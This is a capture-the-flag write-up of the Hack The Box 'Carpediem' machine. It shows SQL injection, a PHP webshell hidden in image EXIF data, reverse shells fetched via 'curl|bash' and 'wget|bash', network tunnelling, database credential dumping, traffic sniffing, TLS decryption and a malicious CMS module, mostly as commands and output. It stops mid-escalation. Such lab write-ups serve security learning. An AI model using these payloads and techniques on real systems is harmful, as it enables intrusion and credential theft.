Carpediem is a hard-rated Linux machine from Hack The Box and probably one of the best, if not even the best, box I’ve done. This is a HUGE box with a lot of different containers and feels very real world. We have to pivot left and right, enumerate a lot and probably do 3-4 privilege escalations before we’re finally root. Because of the big scope this box took me a few days to complete and I got stuck on several places along the way. The path to user was very fun and even incorporates VoIP as a vector, path to root introduced me to a new docker escape that was amazing - I can’t wait to try it out in the real world! If you haven’t done this box yet, make sure that you try it out.


Step 1

➜  carpediem nmap -Pn -n -p-
22/tcp open  ssh
80/tcp open  http

➜  carpediem nmap -Pn -n -p22,80 -sCV
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:21:76:f7:2d:c5:f0:4e:e0:a8:df:b4:d9:5e:45:26 (RSA)
|   256 b1:6d:e3:fa:da:10:b9:7b:9e:57:53:5c:5b:b7:60:06 (ECDSA)
|_  256 6a:16:96:d8:05:29:d5:90:bf:6b:2a:09:32:dc:36:4f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Comming Soon
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
➜  webanalyze ./webanalyze -host (0.2s):
    Bootstrap,  (UI frameworks)
    Google Font API,  (Font scripts)
    Ubuntu,  (Operating systems)
    Nginx, 1.18.0 (Web servers, Reverse proxies)

Visiting we find the domain carpediem.htb and a release count down, similar to the box Player.

Looking for vhosts we find portal.carpediem.htb:

➜  carpediem ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://carpediem.htb -H "Host: FUZZ.carpediem.htb" -fs 2875
portal                  [Status: 200, Size: 31090, Words: 7687, Lines: 463, Duration: 104ms]

http://portal.carpediem.htb is a unexpected motorcycle shop.

Looking around on the portal page we have a lot of parameters to fuzz, starting with search I find nothing. Next moving on to ?p= I’m able to create a loop which will exhaust the memory revealing the directory location:

Testing any other of the found parameters, example uploads, we get this message:

Warning: include(uploads/index.php): failed to open stream: No such file or directory in /var/www/html/portal/index.php on line 14

Warning: include(): Failed opening 'uploads/index.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/portal/index.php on line 14

I’m unable to do anything of use with this information, so lets move on.

➜  carpediem ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://portal.carpediem.htb/FUZZ/
.htaccess               [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 71ms]
.htpasswd               [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 75ms]
admin                   [Status: 200, Size: 27834, Words: 7052, Lines: 567, Duration: 89ms]
assets                  [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 63ms]
build                   [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 66ms]
classes                 [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 55ms]
dist                    [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 64ms]
icons                   [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 65ms]
inc                     [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 65ms]
libs                    [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 63ms]
plugins                 [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 41ms]
server-status           [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 68ms]
uploads                 [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 63ms]

Browsing to /admin we get a alert saying Access Denied!, trying to register a user account and testing again result in the same thing.

Playing around with the register function we can confirm that there is a user called admin:

We’re able to break the SQL syntax by entering username 'ORDER BY 1--:

Save the request to a file and fire up sqlmap to do the heavy lifting for you.

➜  carpediem sqlmap -r register.req -p username
[... snip ...]
[12:35:21] [INFO] POST parameter 'username' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
sqlmap identified the following injection point(s) with a total of 996 HTTP(s) requests:
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: firstname=asdf&lastname=asdf&contact=asdf&gender=Male&address=asdf&username=injectpls'||(SELECT 0x62626476 WHERE 4087=4087 AND GTID_SUBSET(CONCAT(0x7178627671,(SELECT (ELT(5583=5583,1))),0x71707a7a71),5583))||'&password=asdf
[12:35:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 7.4.25, Nginx 1.18.0
back-end DBMS: MySQL >= 5.6

➜  carpediem sqlmap -r register.req -p username --dbs
available databases [1]:
[*] portal

Sadly it stops there, we’re unable to fetch tables and/or columns. I tried a lot of different common combinations such as table users and columns username,password but nothing. It looks like this might be a rabbit hole. Moving on to the next form, we can edit our user under http://portal.carpediem.htb/?p=edit_account.

Doing a edit, we can see a new interesting parameter in Burp - login_type=2. Changing this to 1 and we’re now able to access /admin

Step 2

Going through the admin panel the options are slim, at first glance it looks like we have a lot of options but in reality they’ve removed all the update/save buttons only giving access to few functions.

(1) We can create a new bike with text + image
(2) Edit previously created bikes
(3) Print a Booking Report PDF
(4) Edit our user profile and add avatar image

Looking on bookings we find 5 entries, and from the data a new name: jhammond@carpediem.htb. Going to edit user profile I try to upload a malicious jpg containing php code, but this does nothing.

We can bypass this by simply capturing the request in burp and removing .jpg from the request body, and the file will be uploaded as a .php.

➜  carpediem exiftool -DocumentName="<h1>0xPThree -<br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" exploit.jpg 
    1 image files updated
➜  carpediem mv exploit.jpg exploit.php.jpg

From Burp intercept change filename:

And our avatar should now be broken by the webshell.

Right-click the image, open in new tab, and start to enumerate the box and/or setup a reverse shell.

The uploaded php file is removed after a few minutes, so create a simple reverse shell:

➜  carpediem echo "bash -i >& /dev/tcp/ 0>&1" >
➜  carpediem chmod +x 
➜  carpediem python3 -m http.server 80

## Do a GET request to run ''
GET /uploads/1662983460_exploit.php?cmd=curl%20http://|bash

➜  carpediem nc -lvnp 4488
listening on [any] 4488 ...
connect to [] from (UNKNOWN) [] 46968
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@3c371615b7aa:/var/www/html/portal/uploads$ id && hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3

Enumerate the victim machine and we can start by looking for SQL credentials.

www-data@3c371615b7aa:/var/www/html/portal/classes$ cat DBConnection.php
class DBConnection{

    private $host = 'mysql';
    private $username = 'portaldb';
    private $password = 'J5tnqsXpyzkK4XNt';
    private $database = 'portal';

Looking around further we can see we’re in a container. Upload to enumerate and it gives little to no info..

www-data@3c371615b7aa:/dev/shm$ bash
[... snip ...]
[+] Inside Container ........ Yes
[+] Container Platform ...... docker
[+] Container tools ......... None
[+] Docker Version .......... Version Unknown
[+] Dangerous Capabilities .. Unknown (capsh not installed)
[+] Privileged Mode ......... Unknown
[+] Useful tools installed .. Yes

In env we find additional credentials:

www-data@3c371615b7aa:/$ ./usr/bin/env

Upload chisel to the docker and setup a tunnel so we can use proxychains and reach Note that I wasn’t able to execute the binary in /dev/shm and had to move to /tmp

## Setup chisel server locally
➜  carpediem cat /etc/proxychains4.conf
[... snip ...]
socks5 5000
➜  chisel_1.7.7 ./chisel_1.7.7_linux_amd64 server -p 4444 --reverse

## Connect with chisel client from victim
www-data@3c371615b7aa:/dev/shm$ wget
www-data@3c371615b7aa:/dev/shm$ chmod +x chisel_1.7.7_linux_amd64
www-data@3c371615b7aa:/tmp$ ./chisel_1.7.7_linux_amd64 client R:5000:socks

## Verify connection with nmap
➜  carpediem proxychains nmap -sT --top-port 25 --open
[... snip ...]
3306/tcp open  mysql

Login to the MySQL database and try to extract valuable information:

➜  carpediem proxychains mysql -h -D portal -u portaldb -p
Enter password: J5tnqsXpyzkK4XNt

MySQL [portal]> show tables;
| Tables_in_portal |
| bike_list        |
| brand_list       |
| categories       |
| file_list        |
| rent_list        |
| system_info      |
| users            |

MySQL [portal]> select * from users where username = 'admin';
| id | firstname | lastname | gender | contact                | username | password                         | address | avatar                            | last_login | login_type | date_added          | date_updated        |
|  1 | Jeremy    | Hammond  | Male   | jhammond@carpediem.htb | admin    | b723e511b084ab84b44235d82da572f3 |         | uploads/1635793020_HONDA_XADV.png | NULL       |          1 | 2021-01-20 14:02:37 | 2022-04-01 23:34:50 |

Unfortunately we’re not able to crack the hash using hashcat.

Lets test the other set of credentials found in /usr/bin/env, we don’t have a username so I’m guessing it’s default root:

➜  carpediem proxychains mysql -h -P 3306 -u root -p
Enter password: 3dQXeqjMHnq4kqDv

MySQL [(none)]> show databases;
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| portal             |
| sys                |

We find the same set of databases, so there’s really no need to continue enumerating here.

Step 4

Continue to enumerate the surrounding docker addresses for any more hints.

➜  carpediem proxychains nmap -sT --top-port=200 --open
21/tcp  open  ftp
80/tcp  open  http
443/tcp open  https

Trying to access the FTP server we’re able to login with anonymous:anonymous but we can’t list any content:

➜  carpediem proxychains ftp
ftp> dir
500 Illegal PORT command.

ftp> pass
Passive mode: on; fallback to active mode: on.

ftp> dir
227 Entering Passive Mode (172,17,0,2,31,233).
[proxychains] Strict chain  ...  ...  ...  OK
150 Here comes the directory listing.

➜  carpediem proxychains nmap -sT --open

➜  carpediem proxychains nmap -sT --top-port=5000 --open
27017/tcp open  mongod
➜  carpediem proxychains mongo 
> show databases;
admin    0.000GB
config   0.000GB
local    0.000GB
trudesk  0.001GB

> use trudesk;
switched to db trudesk

> show tables;

> db.accounts.find()
{ "_id" : ObjectId("623c8b20855cc5001a8ba13c"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "admin", "password" : "$2b$10$imwoLPu0Au8LjNr08GXGy.xk/Exyr9PhKYk1lC/sKAfMFd5i3HrmS", "fullname" : "Robert Frost", "email" : "rfrost@carpediem.htb", "role" : ObjectId("623c8b20855cc5001a8ba138"), "title" : "Sr. Network Engineer", "accessToken" : "22e56ec0b94db029b07365d520213ef6f5d3d2d9", "__v" : 0, "lastOnline" : ISODate("2022-04-07T20:30:32.198Z") }
{ "_id" : ObjectId("6243c0be1e0d4d001b0740d4"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "jhammond", "email" : "jhammond@carpediem.htb", "password" : "$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq", "fullname" : "Jeremy Hammond", "title" : "Sr. Systems Engineer", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "a0833d9a06187dfd00d553bd235dfe83e957fd98", "__v" : 0, "lastOnline" : ISODate("2022-04-01T23:36:55.940Z") }
{ "_id" : ObjectId("6243c28f1e0d4d001b0740d6"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "jpardella", "email" : "jpardella@carpediem.htb", "password" : "$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK", "fullname" : "Joey Pardella", "title" : "Desktop Support", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "7c0335559073138d82b64ed7b6c3efae427ece85", "__v" : 0, "lastOnline" : ISODate("2022-04-07T20:33:20.918Z") }
{ "_id" : ObjectId("6243c3471e0d4d001b0740d7"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "acooke", "email" : "acooke@carpediem.htb", "password" : "$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s.", "fullname" : "Adeanna Cooke", "title" : "Director - Human Resources", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "9c7ace307a78322f1c09d62aae3815528c3b7547", "__v" : 0, "lastOnline" : ISODate("2022-03-30T14:21:15.212Z") }
{ "_id" : ObjectId("6243c69d1acd1559cdb4019b"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "svc-portal-tickets", "email" : "tickets@carpediem.htb", "password" : "$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW", "fullname" : "Portal Tickets", "title" : "", "role" : ObjectId("623c8b20855cc5001a8ba13a"), "accessToken" : "f8691bd2d8d613ec89337b5cd5a98554f8fffcc4", "__v" : 0, "lastOnline" : ISODate("2022-03-30T13:50:02.824Z") }

The found password hashes are all bcrypt and we will not be able to crack those, instead the accessToken seems interesting.

Before moving on, lets see if we can find anything interesting from the reported tickets. Below is the heavily cropped data from table tickets:

	"_id" : ObjectId("624461a6f2c8c07f687ba8a6"),
	"subject" : "Security risks - Portal",
	"issue" : "<p>We need to patch the user profile and admin sections of our Portal ASAP. Why are we continually pushing out functions that haven&#39;t been tested by the Infosec team?</p>\n",
			"comment" : "<p>Thanks, Jeremy.  I agree.  This is a big problem.</p>\n"
	"_id" : ObjectId("6244635c8fc3556ae8715b0f"),
	"subject" : "Username change",
	"issue" : "<p>I need a handle, man.  I mean, I don&#39;t have an identity until I have a handle.<br />How about The Master of Disaster?</p>\n",
			"comment" : "<p>You&#39;re hopelss, man.  Utterly hopeless.</p>\n<p>I&#39;m closing this ticket.</p>\n"
	"_id" : ObjectId("624465135596178468330932"),
	"issue" : "<p>We have hired a new Network Engineer and need to get him set up with his credentials and phone before his start date next month.<br />Please create this account at your earliest convenience.<br /><br />Thank you.</p>\n",
			"comment" : "<p>Hey Adeanna,<br>I think Joey is out this week, but I can take care of this. Whats the last 4 digits of his employee ID so I can get his extension set up in the VoIP system?</p>\n"
			"comment" : "<p>Thanks Robert,<br>Last 4 of employee ID is 9650.</p>\n"
			"comment" : "<p>Thank you! He&#39;s all set up and ready to go. When he gets to the office on his first day just have him log into his phone first. I&#39;ll leave him a voicemail with his initial credentials for server access. His phone pin code will be 2022 and to get into voicemail he can dial *62</p>\n<p>Also...let him know that if he wants to use a desktop soft phone that we&#39;ve been testing Zoiper with some of our end users.</p>\n<p>Changing the status of this ticket to pending until he&#39;s been set up and changes his initial credentials.</p>\n"
	"_id" : ObjectId("6244673c2142479dd493d9da"),
	"subject" : "Trudesk API access - Portal",
	"issue" : "<p>I&#39;ll be looking into tightenting up security permissions this week for the Trudesk integration in the Portal.  We&#39;ll need to also perform some threat modeling to find out where our weak points are and come up with an action plan to mitigate.</p>\n",
	"_id" : ObjectId("62478d83eadb13001b66b62c"),
	"subject" : "Need help building the CMS",
	"issue" : "<p>Hey Jeremy, <br />Can you help me work on the CMS at all this week?  The base install is completed, but I need your expertise to make sure I did everything correctly.</p>\n",
			"comment" : "<p>Please don&#39;t expose that application publically.  I told you I would help when I had time and right now I&#39;m just too busy.<br>Build it out if you&#39;d like, but...just don&#39;t do anything stupid.</p>\n"
			"comment" : "<p>Don&#39;t worry. I moved it off of the main server and into a container with SSL encryption.</p>\n"


The information about the new Network Engineer and the last 4 digits of his employee ID, 9650, and pincode, 2022, might come in handy later. Lets move on with the extracted accessTokens.

Step 5

Setup Burp for upstream socks proxy (User options > SOCKS Proxy) and browse to we find backdrop.carpediem.htb.

We’re unable to login to the page and there really isn’t anything of use at first glance. Googling for “backdrop cms exploit” there are a bunch of authenticated exploits, but we have no account..

We’d love to find something related to trudesk, lets try to add trudesk.carpediem.htb to resolve to and if that doesn’t work try

➜  chisel_1.7.7 curl -v http://trudesk.carpediem.htb
*   Trying
* Connected to trudesk.carpediem.htb ( port 80 (#0)
> GET / HTTP/1.1
> Host: trudesk.carpediem.htb
> User-Agent: curl/7.84.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 13 Sep 2022 07:26:47 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 7285
< Connection: keep-alive
< Access-Control-Allow-Origin: *
< Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
< Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,accesstoken,X-RToken,X-Token
< ETag: W/"1c75-WUVJYgy+76qLc2hldkHzGR7+Uxg"
< set-cookie: connect.sid=s%3AQDzVdnp3FNH7sE1ZglF0wWughDr5QhjC.hjY40%2Blgy48wMb6w4wRA0QLCPSYevILsPC0ClelRiMg; Path=/; Expires=Wed, 13 Sep 2023 07:26:47 GMT; HttpOnly
<!DOCTYPE html>
    <title>Trudesk &middot; Login</title>
➜  carpediem ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://trudesk.carpediem.htb/FUZZ
About                   [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 65ms]
Login                   [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 67ms]
about                   [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 86ms]
accounts                [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 56ms]
api                     [Status: 200, Size: 25, Words: 1, Lines: 1, Duration: 75ms]
backups                 [Status: 401, Size: 32, Words: 3, Lines: 1, Duration: 83ms]
captcha                 [Status: 200, Size: 9399, Words: 954, Lines: 1, Duration: 120ms]
css                     [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 87ms]
dashboard               [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 145ms]
departments             [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 84ms]
font                    [Status: 301, Size: 175, Words: 7, Lines: 11, Duration: 43ms]
fonts                   [Status: 301, Size: 177, Words: 7, Lines: 11, Duration: 43ms]
groups                  [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 133ms]
img                     [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 61ms]
install                 [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 69ms]
js                      [Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 99ms]
login                   [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 62ms]
logout                  [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 56ms]
messages                [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 96ms]
mobile                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 158ms]
notices                 [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 106ms]
plugins                 [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 64ms]
profile                 [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 102ms]
register                [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 103ms]
reports                 [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 115ms]
settings                [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 93ms]
signup                  [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 73ms]
sounds                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 100ms]
teams                   [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 152ms]
tickets                 [Status: 302, Size: 23, Words: 4, Lines: 1, Duration: 97ms]
uploads                 [Status: 401, Size: 32, Words: 3, Lines: 1, Duration: 68ms]
version                 [Status: 200, Size: 20, Words: 1, Lines: 1, Duration: 58ms]
➜  carpediem curl http://trudesk.carpediem.htb/version

Googling around I can’t find any publicly disclosed exploits for Trudesk 1.1.11. Reading the truedesk docs we should use the accessToken as a header, we can verify this by cURL’ign the API using the admin accesstoken:

➜  carpediem curl -H "accesstoken: 22e56ec0b94db029b07365d520213ef6f5d3d2d9" -l http://trudesk.carpediem.htb/api/v1/users
{"success":true,"count":5,"users":[{"preferences":{"tourCompleted":false,"autoRefreshTicketGrid":true,"openChatWindows":[]},"hasL2Auth":false,"deleted":false,"_id":"6243c3471e0d4d001b0740d7","username":"acooke","email":"acooke@carpediem.htb","fullname":"Adeanna Cooke","title":"Director - Human Resources","role":{"_id":"623c8b20855cc5001a8ba139","name":"Support","description":"Default role for agents","normalized":"support","isAdmin":false,"isAgent":true,"id":"623c8b20855cc5001a8ba139"},"lastOnline":"2022-03-30T14:21:15.212Z","id":"6243c3471e0d4d001b0740d7","groups":[]},{"preferences":{"tourCompleted":false,"autoRefreshTicketGrid":true,"openChatWindows":[]},"hasL2Auth":false,"deleted":false,"_id":"6243c0be1e0d4d001b0740d4","username":"jhammond","email":"jhammond@carpediem.htb","fullname":"Jeremy Hammond","title":"Sr. Systems Engineer","role":{"_id":"623c8b20855cc5001a8ba139","name":"Support","description":"Default role for agents","normalized":"support","isAdmin":false,"isAgent":true,"id":"623c8b20855cc5001a8ba139"},"lastOnline":"2022-04-01T23:36:55.940Z","id":"6243c0be1e0d4d001b0740d4","groups":[]},{"preferences":{"tourCompleted":false,"autoRefreshTicketGrid":true,"openChatWindows":[]},"hasL2Auth":false,"deleted":false,"_id":"6243c28f1e0d4d001b0740d6","username":"jpardella","email":"jpardella@carpediem.htb","fullname":"Joey Pardella","title":"Desktop Support","role":{"_id":"623c8b20855cc5001a8ba139","name":"Support","description":"Default role for agents","normalized":"support","isAdmin":false,"isAgent":true,"id":"623c8b20855cc5001a8ba139"},"lastOnline":"2022-04-07T20:33:20.918Z","id":"6243c28f1e0d4d001b0740d6","groups":[]},{"preferences":{"tourCompleted":false,"autoRefreshTicketGrid":true,"openChatWindows":[]},"hasL2Auth":false,"deleted":false,"_id":"6243c69d1acd1559cdb4019b","username":"svc-portal-tickets","email":"tickets@carpediem.htb","fullname":"Portal Tickets","title":"","role":{"_id":"623c8b20855cc5001a8ba13a","name":"User","description":"Default role for users","normalized":"user","isAdmin":false,"isAgent":false,"id":"623c8b20855cc5001a8ba13a"},"lastOnline":"2022-03-30T13:50:02.824Z","id":"6243c69d1acd1559cdb4019b","groups":[]},{"preferences":{"tourCompleted":false,"autoRefreshTicketGrid":true,"openChatWindows":[]},"hasL2Auth":false,"deleted":false,"_id":"623c8b20855cc5001a8ba13c","username":"admin","fullname":"Robert Frost","email":"rfrost@carpediem.htb","role":{"_id":"623c8b20855cc5001a8ba138","name":"Admin","description":"Default role for admins","normalized":"admin","isAdmin":true,"isAgent":true,"id":"623c8b20855cc5001a8ba138"},"title":"Sr. Network Engineer","lastOnline":"2022-04-07T20:30:32.198Z","id":"623c8b20855cc5001a8ba13c","groups":[]}]}

With the help of Burp extension Add Custom Header add the accessToken and add it to all sessions (Project Options > Sessions > Session Handling Rules > Invoke a Burp extension ), don’t forget to add the rule to be applied to Proxy as well.

We’re not able to bypass the login, so I guess we should focus on the api instead.

Step 6

Playing around with the API we have a few options, lets start by trying to change the password of the admin account.

➜  carpediem curl -X PUT -H "Content-Type: applications/json" -H "accesstoken: 22e56ec0b94db029b07365d520213ef6f5d3d2d9" -d "{"aPass":"aaAA123\!", "aPassconfirm":"aaAA123\!"}" -l http://trudesk.carpediem.htb/api/v1/users/admin  

{"success":true,"user":{"preferences":{"tourCompleted":false,"autoRefreshTicketGrid":true,"openChatWindows":[]},"hasL2Auth":false,"deleted":false,"_id":"623c8b20855cc5001a8ba13c","username":"admin","fullname":"Robert Frost","email":"rfrost@carpediem.htb","role":{"grants":["admin:*","agent:*","chat:*","tickets:*","accounts:*","groups:*","teams:*","departments:*","comments:*","reports:*","notices:*","settings:*","api:*"],"hierarchy":true,"_id":"623c8b20855cc5001a8ba138","name":"Admin","description":"Default role for admins","normalized":"admin","__v":0,"isAdmin":true,"isAgent":true,"id":"623c8b20855cc5001a8ba138"},"title":"Sr. Network Engineer","lastOnline":"2022-04-07T20:30:32.198Z","groups":[]}}% 

Even though we get "success":true trying to login it still says that the password is incorrect.. But we do have access to the mongodb, maybe it would be easier to just change password in there.

To generate a new bcrypt password I found this amazing one-liner where we (ab)use htpasswd:

➜  carpediem htpasswd -bnBC 10 "" asdf123 | tr -d ':\n' | sed 's/$2y/$2b/'
> db.accounts.updateOne(
... { "username" : "admin" },
... { $set:
... { "password" : "$2b$10$xI/.a/s.g6GGgH1xQN5v1unN6zFFMB02O0SrJXCx1MLKVp3Hj3jvO" }
... }
... )

{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }

We’re now able to login to the application http://trudesk.carpediem.htb:

Looking around we don’t find anything new, information wise. Trying to change user avatar to a malicious one fails, as they move and rename the file on upload. The only interesting information we gain here is the soft phone name “Zoiper”, maybe there’s a vhost for that as well. I can’t find any web interface for Zoiper, so instead we download it locally and try if we can connect to their server.

We have the name of the new employee, Horace Flaccus (hflaccus), his pin is 2022, his extension is 9650 and dial *62 to reach voicemail.

➜  Downloads sudo dpkg -i Zoiper5_5.5.13_x86_64.deb

Enter username 9650 and password 2022, when asked to fill in your hostname set it to carpediem.htb.

Calling and listening to Horace’s voice message we learn that the password is AuRj4pxq9qPk ! Testing to login with SSH and we finally get a shell on the box and user.txt.

➜  carpediem ssh hflaccus@carpediem.htb
hflaccus@carpediem.htb password: AuRj4pxq9qPk

hflaccus@carpediem:~$ id && hostname
uid=1000(hflaccus) gid=1000(hflaccus) groups=1000(hflaccus)

hflaccus@carpediem:~$ cat user.txt 


Step 1

Enumerating manually the information we find is pretty slim so instead fire up right away.

Going through the output we have two lines shining in red/yellow indicating a 95% PE vector

hflaccus@carpediem:/tmp$ ./

════════════════════════════════════╣ Processes, Cron, Services, Timers & Sockets ╠════════════════════════════════════
╔══════════╣ Cleaned processes
[i] Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes
╚ Check weird & unexpected proceses run by root:
                 1578848   sed-Es,jdwp|tmux |screen |--inspect|--remote-debugging-port,&,g

╔══════════╣ Capabilities
Files with capabilities (limited to 50):
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

╔══════════╣ Can I sniff with tcpdump?
You can sniff with tcpdump!

══╣ Possible private SSH keys were found!

There’s a section on HackTricks explaining the capabilities combination of cep_net_admin + cap_net_raw - tldr we can dump traffic from network interfaces. I’m not sure what we’re looking for, or what interface to dump, but since there are a lot of dockers and we know that there is a FTP + several http services, we might find something sensitive there.

NOTE: I left this pcap on for about 1 hour while leaving for a meeting, so there’s a lot of traffic in my .pcap.

➜  carpediem nc -lp 1234 > docker0.pcap

hflaccus@carpediem:/tmp$ tcpdump -i docker0 -s 65535 -w docker0.pcap
tcpdump: listening on docker0, link-type EN10MB (Ethernet), capture size 65535 bytes
7171 packets captured
7171 packets received by filter
0 packets dropped by kernel

hflaccus@carpediem:/tmp$ nc -w3 1234 < docker0.pcap

Instead of using Wireshark like it’s 1998, I send the .pcap to my Windows Attack VM and open it using NetworkMiner (like it’s 2007) - I think this gives a better quick overview of the dump. From the dump we can quickly see that a certificate has been sent from backdrop.carpediem.htb to the docker host on, I have no idea of what to do with this information.

Next step took me embarrassingly long time to figure out - from our linpeas output we found a private SSH key. We can use this key to decrypt all SSL traffic, and within we find something interesting.

➜  carpediem nc -lp 1234 > backdrop.carpediem.htb.key
hflaccus@carpediem:/tmp$ nc -w3 1234 < /etc/ssl/certs/backdrop.carpediem.htb.key

Now if we follow the TLS Stream we find a login to https://backdrop.carpediem.htb with credentials jpardella:tGPN6AmJDZwYWdhY

Step 2

Now to access backdrop we cant simply tunnel with hflaccus:

hflaccus@carpediem:~$ cat /etc/hosts localhost backdrop.carpediem.htb

hflaccus@carpediem:~$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -  

Going through all the different ports we find that 8002 is backdrop:

➜  carpediem ssh -N -f -L 8002:localhost:8002 hflaccus@carpediem.htb
hflaccus@carpediem.htb password: AuRj4pxq9qPk

➜  carpediem curl -k https://localhost:8002
[... snip ...]
    <title>Home | backdrop.carpediem.htb</title>

We’re now able to login to backdrop using credentials jpardella:tGPN6AmJDZwYWdhY

Googling for “Backdrop cms exploit github” the first hit we get is a CSRF to RCE exploit for version 1.20. Looking in backdrop under Reports > Status Report we see that our instance is running version 1.21.4, lets test it anyway.

Go to Functionality > Install new modules > Manual Installation > Upload, once uploaded make sure to enable the newly added module. It will be located at the bottom of the box Fields:

Testing it out and yes, we do have code execution:

➜  carpediem curl -k https://localhost:8002/modules/reference/shell.php\?cmd\=id      
uid=33(www-data) gid=33(www-data) groups=33(www-data)
➜  carpediem curl -k https://localhost:8002/modules/reference/shell.php\?cmd\=hostname
➜  carpediem curl -k https://localhost:8002/modules/reference/shell.php\?cmd\=ls%20-al
total 76
drwxr-xr-x 4 www-data www-data  4096 Sep 14 00:55 .
drwxr-xr-x 3 www-data www-data  4096 Sep 14 00:55 ..
-rw-r--r-- 1 www-data www-data 18092 Sep 14 00:55 LICENSE.txt
-rw-r--r-- 1 www-data www-data  1768 Sep 14 00:55
-rw-r--r-- 1 www-data www-data   323 Sep 14 00:55
-rw-r--r-- 1 www-data www-data   484 Sep 14 00:55 reference.install
-rw-r--r-- 1 www-data www-data 23598 Sep 14 00:55 reference.module
-rw-r--r-- 1 www-data www-data    30 Sep 14 00:55 shell.php
drwxr-xr-x 2 www-data www-data  4096 Sep 14 00:55 tests
drwxr-xr-x 2 www-data www-data  4096 Sep 14 00:55 views

Using cURL to trigger a reverse shell (like before) doesn’t seem to work in this container, instead we use wget:

➜  carpediem curl -k https://localhost:8002/modules/reference/shell.php\?cmd\=wget%20-qO-%20http://\|bash

